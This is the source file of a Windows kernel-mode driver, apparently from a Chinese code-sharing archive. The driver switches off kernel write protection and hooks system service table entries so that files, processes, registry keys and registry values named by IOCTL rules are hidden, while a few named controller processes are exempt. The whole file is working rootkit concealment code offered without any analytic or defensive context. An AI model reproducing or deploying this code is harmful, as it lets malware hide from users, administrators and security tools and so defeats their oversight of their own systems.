www.pudn.com > hidedrive.rar > Cyber02Hide.c


#ifdef __cplusplus 
extern "C" 
{ 
#endif 
 
 
#include "Cyber02Hide.h" 
#include "Memory.c"  
#include  
#include "common.h" 
 
 
 
#ifdef __cplusplus 
} 
#endif 
 
 
#define ULONG  unsigned long 
#define LONG  long 
 
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function + 1)] 
 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
/*-----------------------------------------驱动入口---------------------------------------------------*/ 
NTSTATUS  
DriverEntry(IN PDRIVER_OBJECT DriverObject, 
			IN PUNICODE_STRING RegistryPath) 
{ 
	UNICODE_STRING				nameString, linkString;  
	PDEVICE_OBJECT				deviceObject;  
	NTSTATUS					status; 
	WCHAR						wBuffer[200];  
 
	nameString.Buffer = wBuffer;  
	nameString.MaximumLength = 200;  
 
	DbgPrint("Hello,This is DriverEntry!\n"); 
 
	DriverObject->MajorFunction[IRP_MJ_CREATE]         =  
	DriverObject->MajorFunction[IRP_MJ_CLOSE]          = DriverDispatch; 
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverIoControl; 
	DriverObject->DriverUnload                         = DriverUnload;  
 
      //建立与上层通信的设备 
	RtlInitUnicodeString(&nameString, L"\\Device\\Cyber02Hide");  
 
	status = IoCreateDevice( 
				DriverObject,  
				0,										//无设备扩展 
				&nameString,  
				FILE_DEVICE_FILEMON,  
				0,  
				TRUE,  
				&deviceObject  
				);  
 
	if (!NT_SUCCESS( status ))  
		return status;  
 
	deviceObject->Flags |= DO_BUFFERED_IO; 
 
	RtlInitUnicodeString(&linkString, L"\\??\\Cyber02Hide"); 
 
	status = IoCreateSymbolicLink (&linkString, &nameString);  
 
	if (!NT_SUCCESS( status ))  
	{  
		IoDeleteDevice (DriverObject->DeviceObject);  
		return status;  
	}  
 
 
	_asm 
	{ 
		CLI					//dissable interrupt 
		MOV	EAX, CR0		//move CR0 register into EAX 
		AND EAX, NOT 10000H //disable WP bit  
				 
		//write register back 
		MOV	CR0, EAX 
	} 
 
	//文件隐藏 
	//保存真正的ZwQueryDirectoryFile函数地址 
	RealZwQueryDirectoryFile =  
		(REALZWQUERYDIRECTORYFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQueryDirectoryFile+1)]); 
	//把自定义的替换函数指针指向服务表 
	(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = HookZwQueryDirectoryFile; 
	//进程隐藏 
	//保存系统的ZwQuerySystemInformation函数 
	RealZwQuerySystemInformation =  
			(REALZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]); 
	(REALZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = HookZwQuerySystemInformation; 
	//注册表项隐藏 
	//保存系统的ZwEnumerateKey函数 
	RealZwEnumerateKey =  
			(REALZWENUMERATEKEY)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwEnumerateKey+1)]); 
	(REALZWENUMERATEKEY)(SYSTEMSERVICE(ZwEnumerateKey)) = HookZwEnumerateKey; 
	//注册表健值隐藏 
	//保存系统的ZwEnumerateValueKey函数 
	RealZwEnumerateValueKey =  
			(REALZWENUMERATEVALUEKEY)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwEnumerateValueKey+1)]); 
	(REALZWENUMERATEVALUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey; 
 
	_asm  
	{ 
		MOV	EAX, CR0		//move CR0 register into EAX 
		OR	EAX, 10000H		//enable WP bit 	 
		MOV	CR0, EAX		//write register back		 
		STI					//enable interrupt 
	} 
    return STATUS_SUCCESS; 
} 
 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
 
NTSTATUS 
DriverDispatch( 
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP           Irp 
    ) 
{ 
    Irp->IoStatus.Status = STATUS_SUCCESS; 
    IoCompleteRequest (Irp,IO_NO_INCREMENT); 
    return Irp->IoStatus.Status; 
} 
 
void DriverUnload(IN PDRIVER_OBJECT DriverObject) 
{ 
 
	_asm 
	{ 
		CLI					//dissable interrupt 
		MOV	EAX, CR0		//move CR0 register into EAX 
		AND EAX, NOT 10000H //disable WP bit  
		MOV	CR0, EAX		//write register back 
	} 
 
	//恢复原始函数指针 
	(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = RealZwQueryDirectoryFile; 
	//恢复原始函数指针 
  (REALZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = RealZwQuerySystemInformation; 
  	//恢复原始函数指针 
  (REALZWENUMERATEKEY)(SYSTEMSERVICE(ZwEnumerateKey)) = RealZwEnumerateKey; 
    //恢复原始函数指针 
  (REALZWENUMERATEVALUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey; 
	_asm  
	{ 
		MOV	EAX, CR0		//move CR0 register into EAX 
		OR	EAX, 10000H		//enable WP bit 	 
		MOV	CR0, EAX		//write register back		 
		STI					//enable interrupt 
	} 
} 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
NTSTATUS DriverIoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) 
{  
	PIO_STACK_LOCATION			IrpStack;  
	NTSTATUS					status;  
	ULONG						ControlCode;  
	ULONG						InputLength,OutputLength;  
	TCHAR						wInputBuffer[200];  
	TCHAR						OutMsg[] = "Message send by driver"; 
  FILEHIDERULE                FileRule; 
  PROCESSHIDERULE             ProcessRule; 
  KEYHIDERULE                 KeyRule; 
  VALUEHIDERULE				  ValueRule; 
 
	IrpStack = IoGetCurrentIrpStackLocation(Irp);									//得到当前IRP (IO请求包) 										  
	ControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;				//得到DeviceIoControl传来的功能调用号										  
	InputLength = IrpStack->Parameters.DeviceIoControl.InputBufferLength;			//得到DeviceIoControl传来的输入缓冲区长度										  
	OutputLength = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;			//得到DeviceIoControl的输出缓冲区长度 
 
	switch (ControlCode) 
	{ 		 
		case IOCTL_HIDEHKAPI_DELFILERULE: 
			RtlCopyMemory( &FileRule, Irp->AssociatedIrp.SystemBuffer, InputLength );  
			DelFileCtrlInfo( &FileRule ); 
			Irp->IoStatus.Status = STATUS_SUCCESS; 
			break; 
		case IOCTL_HIDEHKAPI_ADDFILERULE: 
			RtlCopyMemory( &FileRule, Irp->AssociatedIrp.SystemBuffer, InputLength );  
			AddFileCtrlInfo( &FileRule ); 
			Irp->IoStatus.Status = STATUS_SUCCESS; 
			break; 
			 
		case IOCTL_HIDEHKAPI_ADDPROCESSRULE: 
			RtlCopyMemory( &ProcessRule, Irp->AssociatedIrp.SystemBuffer, InputLength );  
			AddProcessCtrlInfo( &ProcessRule ); 
			Irp->IoStatus.Status = STATUS_SUCCESS; 
			break;				 
		case IOCTL_HIDEHKAPI_DELPROCESSRULE: 
			RtlCopyMemory( &ProcessRule, Irp->AssociatedIrp.SystemBuffer, InputLength );  
			DelProcessCtrlInfo( &ProcessRule ); 
			Irp->IoStatus.Status = STATUS_SUCCESS; 
			break;	 
 
		case IOCTL_HIDEHKAPI_ADDKEYRULE: 
			RtlCopyMemory( &KeyRule, Irp->AssociatedIrp.SystemBuffer, InputLength );  
			AddKeyCtrlInfo( &KeyRule ); 
			Irp->IoStatus.Status = STATUS_SUCCESS; 
			break;				 
		case IOCTL_HIDEHKAPI_DELKEYRULE: 
			RtlCopyMemory( &KeyRule, Irp->AssociatedIrp.SystemBuffer, InputLength );  
			DelKeyCtrlInfo( &KeyRule ); 
			Irp->IoStatus.Status = STATUS_SUCCESS; 
			break;	 
 
		case IOCTL_HIDEHKAPI_ADDVALUERULE: 
			RtlCopyMemory( &ValueRule, Irp->AssociatedIrp.SystemBuffer, InputLength );  
			AddValueCtrlInfo( &ValueRule ); 
			Irp->IoStatus.Status = STATUS_SUCCESS; 
			break;				 
		case IOCTL_HIDEHKAPI_DELVALUERULE: 
			RtlCopyMemory( &ValueRule, Irp->AssociatedIrp.SystemBuffer, InputLength );  
			DelValueCtrlInfo( &ValueRule ); 
			Irp->IoStatus.Status = STATUS_SUCCESS; 
			break;	 
 
	}  
 
	status = Irp->IoStatus.Status;  
 
	IoCompleteRequest(Irp, 0);  
	return status;  
} 
 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
 
/******************************************文件隐藏********************************************/ 
NTSTATUS HookZwQueryDirectoryFile( 
    IN HANDLE hFile, 
    IN HANDLE hEvent OPTIONAL, 
    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
    IN PVOID IoApcContext OPTIONAL, 
    OUT PIO_STATUS_BLOCK pIoStatusBlock, 
    OUT PVOID FileInformationBuffer, 
    IN ULONG FileInformationBufferLength, 
    IN FILE_INFORMATION_CLASS FileInfoClass, 
    IN BOOLEAN bReturnOnlyOneEntry, 
    IN PUNICODE_STRING PathMask OPTIONAL, 
    IN BOOLEAN bRestartQuery) 
{ 
	NTSTATUS rc; 
	ULONG CR0VALUE; 
	 
	ANSI_STRING ansiFileName,ansiDirName,HideDirFile; 
	UNICODE_STRING uniFileName; 
	PFILEHIDERULE	FileCtrlItemPrev = NULL, FileCtrlItemCur = NULL, FileCtrlItem = NULL; 
	ULONG					i = 0; 
	char cProcessFileName[MAX_PATH]; 
 
  
    // 执行真正的ZwQueryDirectoryFile函数 
    rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))( 
          hFile,  
          hEvent, 
          IoApcRoutine, 
          IoApcContext, 
          pIoStatusBlock, 
          FileInformationBuffer, 
          FileInformationBufferLength, 
          FileInfoClass, 
          bReturnOnlyOneEntry, 
          PathMask, 
          bRestartQuery); 
 
	if(m_FileHideInfo == NULL)	//如果没有隐藏策略,则直接退出 
	{ 
		return(rc); 
	} 
	GetProcessFileName(cProcessFileName,MAX_PATH,TRUE); 
	if((_strnicmp (cProcessFileName,"ClientDemo.exe",strlen(cProcessFileName))==0) 
		||(_strnicmp (cProcessFileName,"ProtectProcess.exe",strlen(cProcessFileName)) == 0)  
		|| (_strnicmp (cProcessFileName,"KillProcess.exe",strlen(cProcessFileName)) == 0)  
		|| (_strnicmp (cProcessFileName,"Cyberuninstall.exe",strlen(cProcessFileName)) == 0) 
		|| (_strnicmp (cProcessFileName,"Services.exe",strlen(cProcessFileName)) == 0)) 
	{	DbgPrint("The Host of Process is %s\n",cProcessFileName); 
		return rc; 
	} 
	//得到要过滤的文件名 
	FileCtrlItemCur = (PFILEHIDERULE)m_FileHideInfo;  
 
	for(i = 0; i < m_FileRuleNum; i++) 
	{ 
		//初始化要过虑的文件名 
		RtlInitAnsiString(&HideDirFile,FileCtrlItemCur->rule);  
			  /*如果执行成功(而且FILE_INFORMATION_CLASS的值为FileBothDirectoryInformation,我们就进行处理,过滤*/ 
		if(NT_SUCCESS(rc)&& (FileInfoClass == FileBothDirectoryInformation)) 
		{ 
			PFILE_BOTH_DIR_INFORMATION pFileInfo; 
			PFILE_BOTH_DIR_INFORMATION pLastFileInfo; 
			UCHAR bLastOne = FALSE; 
			//把执行结果赋给pFileInfo  
			pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;  
			pLastFileInfo = NULL; 
			//循环检查 
			do 
			{ 
				bLastOne = !( pFileInfo->NextEntryOffset ); 
				RtlInitUnicodeString(&uniFileName,pFileInfo->FileName); 
				RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE); 
				RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE); 
				RtlUpperString(&ansiFileName,&ansiDirName); 
				//打印结果,用debugview可以查看打印结果 
				//DbgPrint("ansiFileName :%s\n",ansiFileName.Buffer); 
				//DbgPrint("HideDirFile :%s\n",HideDirFile.Buffer); 
	    
				// 开始进行比较,如果找到了就隐藏这个文件或者目录 
				if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length) 
				{ 
					//DbgPrint("This is HideDirFile!\n"); 
					if(bLastOne)  
					{ 
						if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer ) 
						{ 
							rc = 0x80000006; //隐藏文件或者目录; 
						} 
						else 
						{ 
							pLastFileInfo->NextEntryOffset = 0; 
						} 
						break; 
					}  
					else //指针往后移动 
					{ 
						int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer; 
						int iLeft = (ULONG)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset; 
						RtlCopyMemory( (PVOID)pFileInfo, (PVOID)((char *)pFileInfo + pFileInfo->NextEntryOffset), (ULONG)iLeft ); 
						continue; 
					} 
				} 
				pLastFileInfo = pFileInfo; 
				pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset); 
			}while(!bLastOne); 
			RtlFreeAnsiString(&ansiDirName);  
			RtlFreeAnsiString(&ansiFileName); 
		} 
		//RtlFreeAnsiString(&HideDirFile); 
		FileCtrlItemPrev = FileCtrlItemCur; 
		FileCtrlItemCur = FileCtrlItemCur->_next; 
	} 
	return(rc); 
} 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
 
/******************************************进程隐藏********************************************/ 
//隐藏进程  
NTSTATUS HookZwQuerySystemInformation( 
         IN ULONG SystemInformationClass, 
         IN OUT PVOID SystemInformation, 
         IN ULONG SystemInformaitonLength, 
         OUT PULONG ReturnLength OPTIONAL) 
{ 
	NTSTATUS rc; 
	PPROCESSHIDERULE	ProcessCtrlItemPrev = NULL, ProcessCtrlItemCur = NULL; 
	ANSI_STRING process_name,process_name1,process_nametobehide; 
	int found;  
	ULONG					i = 0; 
	char cProcessFileName[MAX_PATH]; 
	//DbgPrint("begin in HookZwQuerySystemInformation.\n"); 
 
	// 执行系统原来的ZwQuerySystemInformation函数  
	rc = ((REALZWQUERYSYSTEMINFORMATION)(RealZwQuerySystemInformation)) ( 
		SystemInformationClass, 
		SystemInformation, 
		SystemInformaitonLength, 
		ReturnLength);  
	if(m_ProcessHideInfo == NULL)	//如果没有隐藏策略,则直接退出 
	{ 
		return(rc); 
	} 
	GetProcessFileName(cProcessFileName,MAX_PATH,TRUE); 
	if((_strnicmp (cProcessFileName,"ClientDemo.exe",strlen(cProcessFileName))==0) 
		||(_strnicmp (cProcessFileName,"ProtectProcess.exe",strlen(cProcessFileName)) == 0)  
		|| (_strnicmp (cProcessFileName,"KillProcess.exe",strlen(cProcessFileName)) == 0)  
		|| (_strnicmp (cProcessFileName,"Cyberuninstall.exe",strlen(cProcessFileName)) == 0) 
		|| (_strnicmp (cProcessFileName,"Services.exe",strlen(cProcessFileName)) == 0)) 
	{	DbgPrint("The Host of Process is %s\n",cProcessFileName); 
		return rc; 
	} 
	DbgPrint("The Host of Process is %s,and Go Into Amuse,The Systeminformationclass=%d\n",cProcessFileName,SystemInformationClass); 
	if(NT_SUCCESS(rc ))  
	{ 
		if(SystemInformationClass == 5)//5表示查询的是进程信息 
		{ 
			// 将查找出来结果赋给结构 
			struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; 
			struct _SYSTEM_PROCESSES *prev = NULL;  
			 
			// 遍历进程 
			while( curr ) 
			{  
				//获得当前进程的进程名并转换为Ansic字符 
				RtlUnicodeStringToAnsiString(&process_name1,&curr->ProcessName,TRUE); 
				RtlUnicodeStringToAnsiString(&process_name,&curr->ProcessName,TRUE); 
				//将进程名转换为大写 
				RtlUpperString(&process_name,&process_name1); 
//				DbgPrint("the Process which the arm1 is :%s\n",process_name.Buffer); 
 
				if((0 < process_name.Length) && (255 > process_name.Length)) 
				{ 
					DbgPrint("the Process which the arm2 is :%s\n",process_name.Buffer); 
					found=0; 
					//得到要过滤的文件名 
					ProcessCtrlItemCur = (PPROCESSHIDERULE)m_ProcessHideInfo;  
					//查看进程是否为要隐藏的进程 
					for(i = 0; i < m_ProcessRuleNum; i++) 
					{ 
						//初始化要过虑的文件名 
					    RtlInitAnsiString(&process_nametobehide,ProcessCtrlItemCur->rule);  
					    DbgPrint("process_nametobehide :%s,i=%d,m_ProcessRuleNum=%d\n",process_nametobehide.Buffer,i,m_ProcessRuleNum); 
						if (RtlCompareMemory(process_name.Buffer,process_nametobehide.Buffer,process_nametobehide.Length) == process_nametobehide.Length) 
						{ 
							found =1; 
							 DbgPrint("Find the Process :%s\n",process_name.Buffer); 
							 break; 
						} 
						DbgPrint("Not Find the Process\n"); 
						//RtlFreeAnsiString(&process_nametobehide); 
						ProcessCtrlItemPrev = ProcessCtrlItemCur; 
						ProcessCtrlItemCur = ProcessCtrlItemCur->_next; 
					} 
				}  
			 
				// 判断如果是隐藏进程名则覆盖掉此进程 
				DbgPrint("curr=%d,curr->nextentrydelta=%d\n",(char *)curr,curr->NextEntryDelta); 
				if(found) 
				{  
					if(prev) 
					{ 
						if(curr->NextEntryDelta) 
						{ 
							prev->NextEntryDelta += curr->NextEntryDelta;//屏蔽要隐藏的进程 
						} 
						else 
						{ 
							prev->NextEntryDelta = 0;//要隐藏的进程为最后一个进程 
						} 
					} 
					else 
					{ 
						if(curr->NextEntryDelta) 
						{ 
							(char *)SystemInformation += curr->NextEntryDelta; 
						} 
						else 
						{ 
							SystemInformation = NULL; 
						} 
					}  
					if(curr->NextEntryDelta==0) 
//						(char *)curr += curr->NextEntryDelta; 
//					else  
					{ 
						curr = NULL; 
						break; 
					} 
				} 
				DbgPrint("out of Find\n"); 
				 
				if(curr != NULL) 
				{ 
					if (!found) 
					{ 
						prev = curr; 
					} 
					DbgPrint("curr=%d,curr->nextentrydelta=%d\n",(char *)curr,curr->NextEntryDelta); 
					if(curr->NextEntryDelta) 
					{ 
						(char *)curr += curr->NextEntryDelta; 
					} 
					else 
					{ 
					curr = NULL; 
					} 
				} 
				DbgPrint("go to next entry\n"); 
			} 
			RtlFreeAnsiString(&process_name1); 
			RtlFreeAnsiString(&process_name); 
			DbgPrint("out of while\n"); 
		} 
	} 
	DbgPrint("exit\n"); 
    return(rc); 
}  
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
 
/******************************************注册表项隐藏********************************************/ 
NTSTATUS HookZwEnumerateKey(		 
    IN HANDLE  KeyHandle, 
    IN ULONG  Index, 
    IN KEY_INFORMATION_CLASS  KeyInformationClass, 
    OUT PVOID  KeyInformation, 
    IN ULONG  Length, 
    OUT PULONG  ResultLength) 
{ 
	NTSTATUS rc; 
	ULONG offset,offsetnew,Indexnew; 
	char cProcessFileName[MAX_PATH]; 
	//DbgPrint("begin in HookZwEnumerateKey.\n"); 
	ClearTTable();//清空应隐藏键值链表 
	InitHideArray(KeyHandle);//初始化存在于该项下的应隐藏键值链表 
	rc = RealZwEnumerateKey( KeyHandle,Index,KeyInformationClass,KeyInformation,Length,ResultLength); 
	//如果没有隐藏策略或者索引不存在或者并非查询基本信息,则直接退出 
	if ( !NT_SUCCESS(rc) ) 
	{ 
		//DbgPrint("NT SUCCESS\n\n"); 
		return(rc); 
	} 
	GetProcessFileName(cProcessFileName,MAX_PATH,TRUE); 
	if((_strnicmp (cProcessFileName,"ClientDemo.exe",strlen(cProcessFileName))==0) 
		||(_strnicmp (cProcessFileName,"ProtectProcess.exe",strlen(cProcessFileName)) == 0)  
		|| (_strnicmp (cProcessFileName,"KillProcess.exe",strlen(cProcessFileName)) == 0)  
		|| (_strnicmp (cProcessFileName,"Cyberuninstall.exe",strlen(cProcessFileName)) == 0) 
		|| (_strnicmp (cProcessFileName,"Services.exe",strlen(cProcessFileName)) == 0)) 
	{	DbgPrint("The Host of Process is %s\n",cProcessFileName); 
		return rc; 
	} 
	if( t_KeyHideInfo == NULL ) 
	{ 
		//CHAR Buffer[256]; 
		UNICODE_STRING			ukeyname; 
		UCHAR ret; 
		//DbgPrint("KeyInformationClass ==%d\n",(ULONG) KeyInformationClass); 
		ret=AppendKeyInformation(  KeyInformationClass,KeyInformation,&ukeyname ); 
		if (ret==FALSE) 
		{ 
			//DbgPrint("Something wrong\n\n"); 
			return(rc); 
		} 
		//DbgPrint("The Key is =%ws\n\n",ukeyname.Buffer); 
		return(rc); 
	} 
	//DbgPrint("start in HookZwEnumerateKey.\n"); 
	offset = GetOffset( KeyInformation,KeyInformationClass );  
    while( NT_SUCCESS(rc ) ) 
	{ 
		Indexnew=Index+offset; 
		//DbgPrint("IndexNew=%d,Index=%d\n",Indexnew,Index); 
		rc = RealZwEnumerateKey( KeyHandle,Indexnew,KeyInformationClass,KeyInformation,Length,ResultLength); 
		if(!NT_SUCCESS(rc)) 
		{ 
			break; 
		} 
		offsetnew = GetOffset( KeyInformation,KeyInformationClass); 
		if (offset == offsetnew) 
		{ 
			return(rc); 
		} 
		else 
		{ 
			offset=offsetnew; 
		} 
	} 
    return (rc); 
} 
/*----------------------------------------------------------------------------------------------------*/ 
/*----------------------------------------------------------------------------------------------------*/ 
 
/******************************************注册表键值隐藏********************************************/ 
NTSTATUS HookZwEnumerateValueKey(		 
    IN HANDLE  KeyHandle, 
    IN ULONG  Index, 
    IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass, 
    OUT PVOID  KeyValueInformation, 
    IN ULONG  Length, 
    OUT PULONG  ResultLength 
    ) 
{ 
	NTSTATUS rc; 
	ULONG offset,IndexA,IndexB; 
	char cProcessFileName[MAX_PATH]; 
	DbgPrint("begin in HookZwEnumerateValueKey.Index=%d\n",Index); 
	GetProcessFileName(cProcessFileName,MAX_PATH,TRUE); 
	if((_strnicmp (cProcessFileName,"ClientDemo.exe",strlen(cProcessFileName))==0) 
		||(_strnicmp (cProcessFileName,"ProtectProcess.exe",strlen(cProcessFileName)) == 0)  
		|| (_strnicmp (cProcessFileName,"KillProcess.exe",strlen(cProcessFileName)) == 0)  
		|| (_strnicmp (cProcessFileName,"Cyberuninstall.exe",strlen(cProcessFileName)) == 0) 
		|| (_strnicmp (cProcessFileName,"Services.exe",strlen(cProcessFileName)) == 0)) 
	{	DbgPrint("The Host of Process is %s\n",cProcessFileName); 
		rc = RealZwEnumerateValueKey( KeyHandle,Index,KeyValueInformationClass,KeyValueInformation,Length,ResultLength ); 
		return rc; 
	} 
	if ( KeyValueInformationClass == KeyValuePartialInformation) 
	{ 
		DbgPrint("KeyValueInformationClass == KeyValuePartialInformation,it is %d\n",KeyValueInformationClass ); 
		rc = RealZwEnumerateValueKey( KeyHandle,Index,KeyValueInformationClass,KeyValueInformation,Length,ResultLength ); 
		return (rc); 
	} 
	offset = GetValueOffset( KeyHandle, 0, Index ,KeyValueInformationClass, KeyValueInformation,Length, ResultLength); 
	DbgPrint("firstoffset=%d\n",offset); 
	IndexB = Index; 
	while ( offset!=0 ) 
	{ 
		IndexA = IndexB; 
		IndexB = IndexA + offset; 
		offset = GetValueOffset( KeyHandle, IndexA+1 , IndexB , KeyValueInformationClass, KeyValueInformation,Length, ResultLength); 
		DbgPrint("whileoffset=%d\n",offset); 
	} 
	rc = RealZwEnumerateValueKey( KeyHandle,IndexB,KeyValueInformationClass,KeyValueInformation,Length,ResultLength ); 
	return (rc); 
}